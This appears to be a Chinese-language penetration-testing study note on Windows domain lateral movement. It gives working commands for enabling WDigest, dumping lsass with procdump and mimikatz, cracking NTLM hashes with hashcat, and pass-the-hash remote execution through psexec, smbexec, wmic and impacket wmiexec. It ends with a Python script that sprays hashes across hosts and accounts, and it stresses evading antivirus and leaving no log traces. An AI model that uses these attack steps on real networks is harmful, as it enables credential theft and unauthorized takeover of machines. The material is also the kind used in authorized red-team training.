下面讲的是psexec&smbexec以及wimc&wmiexec
知识点1:
windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
针对以上情况,提供了4钟方式解决此类问题
1.利用哈希hash传递(pth,ptk等)进行移动
2.利用其它服务协议(SMB,WMI等)进行哈希移动
3.利用注册表操作开启wdigest Auth值进行获取
4.利用工具或第三方平台(Hashcat)进行破解获取
知识点2
windows系统LM Hash 及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows 2003以后,认证方式均为NTLM Hash
注册表修改
修改wdigest 改为1
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
案例1-Procdump+Mimikatz配合获取
如果Mimikatz直接获取失败,可以结合Procdump使用
Mimikatz一般在实战情况下,我们是放在对方服务器的上面运行,如果远程的被拦截,杀掉,就可以使用Procdump来配合获取密码
因为Procdump是windows官方自带的一款工具,就不会在实战中出现被拦截的情况
两步完成利用procdump64+mimikatz获取win用户密码
procdump配合mimikatz
1)导出lsass.exe(管理员权限执行)
procdump -accepteula -ma lsass.exe lsass.dmp(在dos下运行,不要在powershell)//运行成功之后就会在当前目录下生成一个lsass.dmp,这个文件就是密码哈希值储存的文件,然后用mimikatz载入进去打开就可以了!
2)执行mimikatz(管理员执行)
mimikatz上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
或者一句话:mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
实验:
在window2008中使用procdump获取lsass.dump文件
在真实机中用mimikatz还原:看看能不能获得windows2008的明文密码和hash值
1、打开mimikatz把windows2008中获得的lsass.dmp复制到win10:
可能会出现error,是因为权限的问题!
mimikatz是在虚拟机中,procdump是在windows10中,在实战中只需要在对方服务器上上传procdump即可,再把生成的文件放到本地的mimikatz去还原密码!!!,它和直接在服务器上运行mimikatz有什么区别?在于它能实现mimikatz在服务器被拦截或者杀掉这种情况。
procdump不存在会被杀毒软件拦截的情况,这是微软官方的!
Hashcat破解获取windows NTML Hash
# Pwdump7
# QuarksPwdump
hashcat -a 0 -m 1000 hash file --force
-a 0 表示采用字典破解
-m表示破解的协议
hash就是破解的加密字符串
file就是字典地址
--force爆破
1000 表示 NTLM
密码破解全能工具:Hashcat密码破解攻略 :密码破解全能工具:Hashcat密码破解攻略 - FreeBuf网络安全行业门户
案例2-域横向移动SMB服务利用-psexec,smbexec(官方自带)
psexec是windows官方自带,不会存在查杀问题,属于pstools,实战中就将psexec上传到攻击主机上面去,
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
对方开放445端口,就相当于开放了smb协议
psexec第一种:先有ipc链接,psexec需要明文或hash传递
补充:
445漏洞利用之IPC$:
命令:net use (不是net user)
准备:首先在win2003-1下的D盘建立一个共享文件夹叫share
命令功能:将远程共享文件夹映射到我本地作为一个分区来使用net use \\10.1.1.2\ipc$ 密码 /user:用户
=====================================
net use f: \\10.1.1.2\share 密码 /user:用户
net use f: /del
net use * /del
net use f: \\10.1.1.2\c$ 密码 /user:用户(把对方的C$映射到我本地的F盘来使用)
c$对于对方来说物理路径就是C盘,IPC$没有对应任何一个盘,但是连上后,对方的所有盘你都可以用,虽然没用物理路径,其实最厉害。
==========================================
net use \\192.168.3.32(目标ip)\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行
这里我没有复现成功:(不知道什么原因)《win10上没有成功,我觉得可能是专业版的问题》
在两台win2003上复现成功!!!
psexec第二种:不用建立IPC直接提供明文账户密码(推荐)
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方Pstools无法采用hash连接,需要用工具包
复现(在两台2003上复现成功)
上面是建立在已经知道明文密码的情况下,如果我没有明文密码只有hash怎么办?
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
不用工具包的话,官方只提供明文传输,上次讲的at和schtasks全部用的明文。用第三方库impacket它是不需要明文密码也可以连接
同理,今天学习的psexec去连接的时候出现问题,这里使用工具包可以连接
有明文尽量使用官方文件,如果只有hash,只能使用工具包进行连接了,不过容易被杀!
非官方自带-参考impacket工具包使用,操作简单,容易被杀
smbexec无需先ipc链接 明文或hash传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
连接的时候要注意本地用户和域用户的区别!
复现:发现获得system权限
hash传递:
案例3-域横向移动WMI服务利用-cscript,wmiexec,wmic
WMI服务要比SMB服务高级 ,通过135端口进行利用,它的条件比smb低,135开放就行(135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。(这种连接在日志中找不到的,上面讲到的smb是在日志中找到的,会更加隐匿)
自带WMIC 明文传递(官方) 无回显
只能明文,没有hash,缺点是无回显,就是不会反弹shell给你,就是你的命令结果写到它的文件夹里面,然后你自己去文件
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
(连接3.21,当前用户账号密码,连接cmd执行ipconfig,结果保存到c盘1.txt)
自带cscript明文传递 有回显
它有回显,会直接反弹shell回来,但是它需要借助wmiexec.vbs这个文件(用自带命令配合一个vbs去运行)
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
套件impacket wmiexec 明文或hash传递 有回显exe版本
优点非常明显,不仅支持明文还支持hash,还有回显,缺点就是要进行免杀
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(连接本地账号)
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
思路总结:
如果只能用hash连接,涉及到impacket工具包的时候,但是我免杀也不会,怎么办?
就会涉及到PTH、PTT、PTK
案例4-域横向移动以上服务hash批量利用-python编译exe
pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hash god/user@ip whoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami" #连接本地用户
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
添加一条本地用户:exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
这样就拿下了3.29、3.21、3.32主机
涉及资源:
https://github.com/hashcat/hashcat
https://www.freebuf.com/sectool/164507.html
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/SecureAuthCorplimpacket
https://gitee.com/RichChigga/impacket-examples-windows
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
ProcDump - Windows Sysinternals | Microsoft Docs
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码: xiao